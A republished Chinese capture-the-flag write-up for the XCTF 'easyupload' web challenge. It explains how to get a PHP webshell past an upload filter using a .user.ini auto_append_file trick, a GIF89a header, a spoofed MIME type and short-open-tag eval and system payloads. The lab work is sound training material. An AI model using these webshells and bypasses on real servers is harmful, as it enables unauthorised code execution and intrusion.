自学内容网 自学内容网

攻防世界 - Web - Level 1 | easyupload

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关的考点是 PHP 文件上传漏洞,过关前我们需要知道以下知识:

  • .user.ini 构成后门文件:该文件是一个可以由用户 “自定义” 的 PHP 配置文件。

    • .user.ini 支持动态加载,需要等待 user_ini.cache_ttl 所设置的时间(默认为 300 秒)

    • CTF 常用配置项:

      • auto_append_file=muma.jpg => 在每个文件后面包含指定文件。

      • auto_prepend_file=muma.jpg => 自动包含在要执行的文件前。

  • PHP 中的短开标签 <?= — 当目标过滤包含 php 的内容时,可以使用此方法进行绕过

    • 如果想要 PHP 的短开标签,需要在 php.ini 中找到 short_open_tag 配置,并设置为 On 来开启。 => short_open_tag=On

    • 从 PHP 5.4.0 开始,无论 php.ini 文件中的设置如何,都可以使用短开标签。

 <?php
   echo "Hello PHP!";
 ?>
 ------------------------------> 上下的写法是等价的
 <?= "Hello PHP!"?>

0x02:Write UP

0x0201:.user.ini 文件上传

在本地构造一个.user.ini文件,并上传,文件内容如下(GIF89a 是用于伪造一个文件头,该靶场会检查上传文件的头字节进行过滤;auto_append_file=shell.jpg 是让文件上传目录下的文件都包含 shell.jpg,后续我们会往 shell.jpg 中写入一句话木马):

 // FileName : .user.ini
 GIF89a
 auto_append_file=shell.jpg

这里需要注意,直接上传 .user.ini 是上传不了的,我们还需要用 BurpSuite 拦截请求包,修改文件的 Content-Type 为 image/gif 绕过其后端的 MIME 校验后方可上传成功:

0x0202:shell.jpg 上传并连接

下面我们构造一个 shell.jpg 文件,文件内容如下(可以先用记事本打开,后面再手动更改后缀为 .jpg 即可):

 // FileName : shell.jpg => 这种方式可能会被防火墙拦截,你文件根本上传不了
 GIF89a
 <?= @eval($_POST['hacker']); ?>
 ​
 // 以下是官方推荐的木马写法,但是也有问题,就是我们不知道 Flag 在 /flag 下
 GIF89a
 <?=system('cat /flag');?>

这里没有采用<?php @eval($_POST['hacker']); ?>的写法,是因为其后端会过滤php字符串,所以我们就采用 PHP 短开标签<?= .... ?>来进行包裹代码。

页面提示,文件被上传到了 uploads/shell.jpg 的位置:

在前面的过程中 .user.ini 也被上传到了 uploads 目录下,那很自然的 uploads 目录下的所有 PHP 页面都会包含我们 shell.jpg 中的内容,并以 PHP 方式进行解析执行。

我们可以很容易定位到一个 uploads 目录下的 PHP 文件 uploads/index.php

访问预览一下,可以看到,文件末尾确实出现了我们写在shell.jpg中的内容,所以包含点找到了(如果未出现,等待 300 秒吧):

然后使用中国蚁剑进行连接 Shell:

进入终端中输入cat /flag即可获取 Flag(有时候靶场不稳定,就多输入几次):

0x03:参考链接

什么是MIME类型_mime类型是什么意思-CSDN博客文章浏览阅读1.1w次,点赞24次,收藏111次。什么是MIME类型根据百度百科的解释:MIME:全称Multipurpose Internet Mail Extensions,多功能Internet邮件扩充服务。它是一种多用途网际邮件扩充协议,在1992年最早应用于电子邮件系统,但后来也应用到浏览器。MIME类型就是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。说白了也就是文件的媒体类型。浏览器可以根据它来区分文件,然后_mime类型是什么意思https://blog.csdn.net/cx9977/article/details/109301682?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170884915716800215096249%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170884915716800215096249&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-109301682-null-null.142%5Ev99%5Epc_search_result_base3&utm_term=MIME%E7%B1%BB%E5%9E%8B&spm=1018.2226.3001.4187
PHP中的短开标签“在PHP中会使用“<?PHP”作为PHP文档的开头,用于识别该文档;但在一些情况下可以使用“<?=”作为开头,那么“<?=”有什么用?如何使用,希望对大家有所帮助。https://www.php.cn/faq/415762.html

原文地址:https://blog.csdn.net/m0_73360524/article/details/144337952

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!